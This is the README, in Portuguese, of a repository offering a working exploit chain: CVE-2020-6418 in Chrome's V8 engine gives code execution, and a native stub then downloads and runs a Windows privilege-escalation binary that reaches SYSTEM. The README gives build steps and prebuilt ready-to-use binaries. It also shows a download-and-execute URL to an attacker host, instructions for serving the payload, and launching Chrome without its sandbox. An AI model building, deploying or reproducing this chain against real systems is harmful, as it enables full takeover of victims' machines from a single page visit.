
Cadeia de exploit de estágio único para CVE-2020-6418 (RCE no Chrome) combinada com escalada de privilégios no Windows até SYSTEM, com scripts de compilação e binários pré-compilados.
Este repositório contém uma cadeia de exploração funcional de estágio único para CVE-2020-6418 (uma falha de type confusion no compilador Turbofan do V8, que afeta o Google Chrome 80.0.3987.87 x64). Visitar uma página maliciosa com um Chrome vulnerável proporciona execução de código nativo dentro do processo renderer. A partir daí, o exploit baixa e executa um segundo binário que encadeia mais duas falhas (uma verificação de comprimento ausente em NtPowerInformation mais CVE-2021-31956, um estouro de pool em ntfs.sys) para ir de um processo sem privilégios até NT AUTHORITY\SYSTEM.
Tudo isso acontece com uma única visita à página, sem etapas manuais entre a falha do navegador e o shell de SYSTEM.
O crédito original pelo exploit do Chrome vai para Clement Lecigne (descoberta da falha, Google TAG) e Istvan Kurucsai / Vignesh S Rao (a prova de conceito original, depois distribuída como um módulo do Metasploit). Removemos as dependências do Metasploit e reconstruímos o mecanismo de entrega em torno de um downloader nativo, em vez de incorporar o payload na página. Detalhes em browser-exploit/README.md.
browser-exploit/ The Chrome exploit (the V8 bug + the native stub)
exploit_template.html HTML/JS source, with a placeholder for the stub
build_exploit.py generates exploit.html from the template
shellcode/ the native code the exploit injects into Chrome
privilege-escalation/ The Windows EoP chain, a standalone C program
prebuilt/ Ready to use binaries (exploit.html and exploit.exe)
notes/ An earlier approach we tried and abandoned, kept
as a record of what we learned along the way
Máquina do atacante (o "host"): qualquer Windows recente com Visual Studio 2019 ou 2022 (qualquer edição, Community serve, ou apenas as Build Tools), NASM e Python 3. É aqui que você compila tudo e serve a página do exploit.
Máquina alvo (a "VM"): ela precisa corresponder exatamente; o exploit depende de offsets fixos no código que só são válidos para esses builds específicos.
winver ou [System.Environment]::OSVersion no PowerShell.chrome://version.C:\lab8 (pode estar vazia, só precisa existir).Testamos isso em uma VM do VMware Workstation com um adaptador de rede host-only, mas qualquer configuração em que a VM consiga alcançar o host via HTTP funciona da mesma forma.
cd browser-exploit\shellcode
build.bat
cd ..
python build_exploit.py shellcode\download_and_run_stub.bin exploit.html
cd ..\privilege-escalation
build.bat
Antes da primeira compilação, abra browser-exploit\shellcode\download_and_run_stub.asm e edite estas duas linhas perto do final:
download_url: db "http://YOUR_HOST_IP:8000/exploit.exe", 0
destination_path: db "C:\lab8\exploit.exe", 0
YOUR_HOST_IP é o endereço IP desta máquina visto pela VM (execute ipconfig na VM e verifique o adaptador de rede que corresponde à sua rede host-only ou NAT, ou simplesmente execute ipconfig no host e use o adaptador na mesma sub-rede da VM). destination_path deve corresponder ao local onde você quer que o binário do EoP seja gravado dentro da VM; o padrão é C:\lab8.
Depois de editar, remonte o stub e gere novamente o exploit.html (os dois comandos do passo 1, pulando a compilação do privilege-escalation, já que essa não depende do IP).
Se você não quiser mexer no arquivo de assembly para um teste rápido, prebuilt/ já tem uma cópia funcional com nosso IP de teste embutido. Ela só funcionará se a sua rede coincidir, então compilar sua própria cópia é o caminho confiável.
Coloque exploit.html e exploit.exe (o que foi compilado em privilege-escalation/) na mesma pasta e então:
python -m http.server 8000
O exploit.exe precisa estar acessível exatamente na URL que você colocou em download_url acima, pois o stub nativo o busca diretamente, não por meio do navegador.
Uma observação rápida sobre o firewall do host: se a VM não conseguir alcançar a porta 8000, quase sempre é o Firewall do Windows Defender bloqueando a conexão de entrada em uma rede não classificada, ou uma regra remanescente bloqueando especificamente o python.exe (o Windows às vezes cria uma automaticamente na primeira vez que um aplicativo tenta aceitar uma conexão em uma rede não confiável). Verifique Get-NetFirewallRule -DisplayName "python.exe" em um PowerShell elevado se você encontrar esse problema.
Confirme se o build do Windows e a versão do Chrome correspondem aos requisitos acima.
Crie C:\lab8 se ainda não existir (pode estar vazia).
Se for uma VM recém-criada que nunca passou por um ciclo real de inicialização, C:\Windows\bootstat.dat pode estar ausente ou vazio, e a falha do kernel precisa que ele exista com conteúdo válido. Se necessário:
if (!(Test-Path C:\Windows\bootstat.dat)) {
fsutil file createnew C:\Windows\bootstat.dat 2048
}
$bytes = [System.IO.File]::ReadAllBytes("C:\Windows\bootstat.dat")
$bytes[4] = 1
[System.IO.File]::WriteAllBytes("C:\Windows\bootstat.dat", $bytes)
Inicie o Chrome vulnerável com --no-sandbox (esta PoC não inclui uma fuga da sandbox, então o renderer precisa já estar sem sandbox para acessar o sistema de arquivos e criar processos) e aponte-o para a página:
chrome.exe --no-sandbox http://YOUR_HOST_IP:8000/exploit.html
Abra o DevTools (F12) e verifique a aba Console; o exploit registra seu progresso ali. Se tudo se encaixar, você deve ver a type confusion ser bem-sucedida, o stub baixar e iniciar o binário do EoP e, depois de alguns segundos, uma nova janela de console executando como NT AUTHORITY\SYSTEM.
exploit_template.html (objleaker_offset, float_carw_elements_offset e os demais) são específicos do 80.0.3987.87 x64; eles não funcionarão em um build diferente, mesmo que seja apenas uma versão de patch de diferença.DEFAULT_RVA_ANCHOR, DEFAULT_RVA_SEPSD e os vários offsets de EPROCESS/ETHREAD em privilege-escalation/exploit.c) estão codificados para esse build.download_url em download_and_run_stub.asm corresponde ao endereço e à porta em que o host está realmente servindo e se a VM consegue alcançá-lo (um simples curl http://YOUR_HOST_IP:8000/exploit.exe de dentro da VM é uma maneira rápida de confirmar a conectividade antes de culpar o exploit).Mais detalhes sobre cada parte, incluindo por que ela é construída dessa forma, no README de cada pasta.